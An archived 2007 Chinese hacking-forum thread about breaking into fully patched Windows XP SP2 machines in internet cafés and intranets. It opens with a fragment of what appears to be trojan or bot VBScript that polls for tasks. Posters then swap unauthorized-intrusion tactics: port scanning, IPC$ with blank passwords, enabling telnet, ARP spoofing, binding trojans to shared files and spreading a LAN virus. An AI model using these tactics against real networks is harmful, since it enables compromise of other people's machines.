xz=gettask
wscript.sleep 60000
end if
if rw<>-1 then
dotask
end if
wscript.sleep 3000
loop
end function

function chengfa()
if readtxt(mulu&ouwnname,1)<>""&ver then
msgbox("hello,hacker!")
delfile mulu&ouwnname
wscript.quit
end if
end function

saifei 2007-12-7 13:41

我是在网吧上网的 XP的系统扫不出135 和1433 谁有好的解决办法了

kof907 2007-12-7 15:13

是啊,XP2扫不到有135的,现在都是装GHOST版本,一般补丁都打挺多的 [s:305] [s:305]

黄瓜 2007-12-8 11:13

guest帐户默认情况下都不开！ipc不到！
默认防火墙都是开启的！

sinner 2007-12-8 11:36

现在XP都被打了很多补丁。
在个就是由于网通和电信同样都屏蔽了135端口。
所以还是别找135了。
现在很多时候都是用服务器去扫。
用家用电脑扫的人是少之又少。
现在屏蔽的太厉害了。
XP入侵我感觉还是找个比较好的思路去走比较好些吧。

skyhack 2007-12-14 22:00

没装FW的话,嗅到管理员密码..远程执行还可以...有FW没什么玩头

neversaylove 2007-12-25 13:41

咱别说什么远程溢出了好不 ,就xpsp2的,现在内网除了这种机子就没别的了.补丁都是打全了的,dns,arp欺骗也要ie的漏洞的配合.

现在的问题就是这样:
内网
xpsp2
补丁打全
administrator密码空
ipc$开,但没有admin$,c$之类的隐藏共享
firewall关
就这样,可以的话共享方法

hackqy 2007-12-25 20:46

现在的网吧ＡＲＰ也不好用了～都装了防嗅探的软件！
服务器也比较难拿，现在想入侵网吧很难啦

laowan 2007-12-26 23:27

[quote]引用第27楼neversaylove于2007-12-25 13:41发表的 :
咱别说什么远程溢出了好不 ,就xpsp2的,现在内网除了这种机子就没别的了.补丁都是打全了的,dns,arp欺骗也要ie的漏洞的配合.

现在的问题就是这样:
内网
xpsp2
.......[/quote]

不溢出
基本上就没啥招了[s:267]

westhack 2007-12-27 00:05

[quote]引用第27楼neversaylove于2007-12-25 13:41发表的 :
咱别说什么远程溢出了好不 ,就xpsp2的,现在内网除了这种机子就没别的了.补丁都是打全了的,dns,arp欺骗也要ie的漏洞的配合.

现在的问题就是这样:
内网
xpsp2
.......[/quote]

administrator空且 CMD,注册表都没有禁用的话应该是可以开telnet,然后建立共享的

麻烦的是administrator有密码 guest, cmd,注册表都禁用

但是内网应该有一台机器共享文件的,要是能找到可以写权限的就好了,找个文件绑马^o^

wr1985624 2007-12-27 09:40

如果是网吧的话 ,可能就比较好办一些.你可以先查出自己本机的用户名,密码.
因为网吧大部分是GHOST的系统,所以他们的机器用户名密码可能一样.
用dameware开

wr1985624 2007-12-27 09:41

TELNET ,然后开默认共享 ,等等.

neversaylove 2007-12-27 12:16

xpsp2默认安装,telnet是关了的,ok?

spider82 2007-12-27 15:48

我觉得也只有溢出或者欺骗种马。

westhack 2007-12-27 19:40

[quote]引用第34楼spider82于2007-12-27 15:48发表的 :
我觉得也只有溢出或者欺骗种马。[/quote]

要是这种环境能溢出,那我肉鸡就多了.除非你有oday 如迅雷,office .real等

neversaylove 2007-12-27 20:07

迅雷?还不是要arp或dns欺骗,让别个访问网页,office就得让别个运行你的文件了,这里都是些偶然的入侵,又不是盯半天的那种,总之一句话,难啊.
都是几个新手在说话,估计牛人们都在背后冷笑呢.呵呵 [s:264]

bswdylwsw 2007-12-30 13:37

内网入侵,在以前是很简单的.网吧也是的..
现在不同了,系统是XPSP2 补丁估计有85%以上都没打.再说网巴的系统都是经过网管自己修改的
再加上安全的设置,和限制,一般的病毒都没折.更别说破解了.
ARP 网吧早就防了.更不可能实现,搞不好还被逮个正着

不过现在的网吧,外表确实是很安全的,但是里面未必是安全.
从他的服务器下手很必要,现在的网吧花样很多,服务器也多.拿服务器一般是不难的

neversaylove 2007-12-30 14:03

这位仁兄说得很有道理，诚然，在网吧里那他们的服务器确实要简单一些。
但我们这里说的是直接入侵xpsp2啊，唉..............难呀

hongshengpk 2007-12-30 23:00

我就是网管你们的都是菜鸟，告诉你们写个穿透还原保护的内网传播病毒就可以。哪来那么多花把试，没技术就去死吧

neversaylove 2007-12-30 23:21

[quote]引用第39楼hongshengpk于2007-12-30 23:00发表的 :
我就是网管你们的都是菜鸟，告诉你们写个穿透还原保护的内网传播病毒就可以。哪来那么多花把试，没技术就去死吧[/quote]
呵呵，NB网管，敢问你说的这个病毒是通过什么途径传播呢？

郁郁小张 2007-12-31 19:58

内网入侵太危险了吧
虽然比较容易成功
但是如果被发现。。。。
内网。。。。

页: [1]

邪恶八进制信息安全团队技术讨论组's Archiver

[讨论]关于内网XP的入侵讨论！